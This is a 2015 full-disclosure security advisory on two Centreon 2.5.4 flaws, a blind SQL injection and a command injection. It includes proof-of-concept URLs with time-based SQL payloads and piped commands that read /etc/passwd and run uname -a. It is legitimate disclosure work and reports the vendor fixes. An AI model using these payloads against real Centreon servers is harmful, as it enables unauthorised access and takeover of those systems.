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Message-ID: <D4341D50842B424A9C4F53007250DDDA91ED118A@FRPARNT1420.fr.deloitte.com>
Date: Wed, 8 Jul 2015 13:58:06 +0000
From: "Dau, Huy-Ngoc (FR - Paris)" <HDau@...oitte.fr>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Merethis Centreon - Unauthenticated blind SQLi and
Authenticated Remote Command Execution
Merethis Centreon - Unauthenticated blind SQLi and Authenticated Remote Command Execution
CVEs: CVE-2015-1560, CVE-2015-1561
Vendor: Merethis - www.centreon.com
Product: Centreon
Version affected: 2.5.4 and prior
Product description:
Centreon is the choice of some of the world's largest companies and mission-critical organizations for real-time IT performance monitoring and diagnostics management. (from https://www.centreon.com/en/)
Advisory introduction:
Centron 2.5.4 is susceptible to multiple vulnerabilities, including unauthenticated blind SQL injection and authenticated remote system command execution.
Credit: Huy-Ngoc DAU of Deloitte Conseil, France
================================
Finding 1: Unauthenticated Blind SQL injection in isUserAdmin function (CVE-2015-1560)
================================
Vulnerable function is "isUserAdmin" (defined in include/common/common-Func.php), in which unsanitized "sid" GET parameter is used in a SQL request.
PoC:
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep(1),%27%27)%2B%27
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C0,sleep(1),%27%27)%2B%27
By exploiting CVE-2015-1560, an attacker can obtain among others a valid session_id, which is required to exploit CVE-2015-1561.
================================
Finding 2: Authenticated Command Execution in getStats.php (CVE-2015-1561)
================================
$command_line variable, which is passed to popen function, is constructed using unsanitized GET parameters.
PoC (a valid session_id value is required):
- Reading /etc/passwd by injecting command into "ns_id" parameter:
http://example.domain/centreon/include/Administration/corePerformance/getStats.php?ns_id=|+more+/etc/passwd+%23&key=active_service_check&start=today&session_id=[valid session_id]
- Injecting "uname -a" into "end" parameter:
http://example.domain/centreon/include/Administration/corePerformance/getStats.php?ns_id=1&key=active_service_check&start=today&end=|+uname+-a+%23&session_id=[valid session_id]
Combining two vulnerabilities, an unauthenticated attacker can take control of the web server.
================================
Timeline
================================
26/01/2015 - Vulnerabilities discovered
29/01/2015 - Vendor notified
05/02/2015 - Vendor fixed SQLi
13/02/2015 - Vendor fixed RCE
References
Vendor fixes:
- SQLi : https://forge.centreon.com/projects/centreon/repository/revisions/d14f213b9c60de1bad0b464fd6403c828cf12582
- Command execution : https://forge.centreon.com/projects/centreon/repository/revisions/d14f213b9c60de1bad0b464fd6403c828cf12582
About Deloitte:
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Our Enterprise Risk Services practice is made up of over 11,000 professionals providing services relating to security, privacy & resilience; data governance and analytics; information and controls assurance; risk management technologies; and technology risk & governance. We help organizations build value by taking a "Risk Intelligent" approach to managing financial, technology, and business risks.
Huy-Ngoc DAU
Senior Consultant | IT Advisory
Deloitte Conseil
185, avenue Charles de Gaulle, Neuilly-sur-Seine, 92200, France
Mobile: +33 (0)6 70 97 91 95 Tel: +33 (0)1 58 37 03 72
hdau@...oitte.fr<mailto:hdau@...oitte.fr> | www.deloitte.fr<www.deloitte.com>
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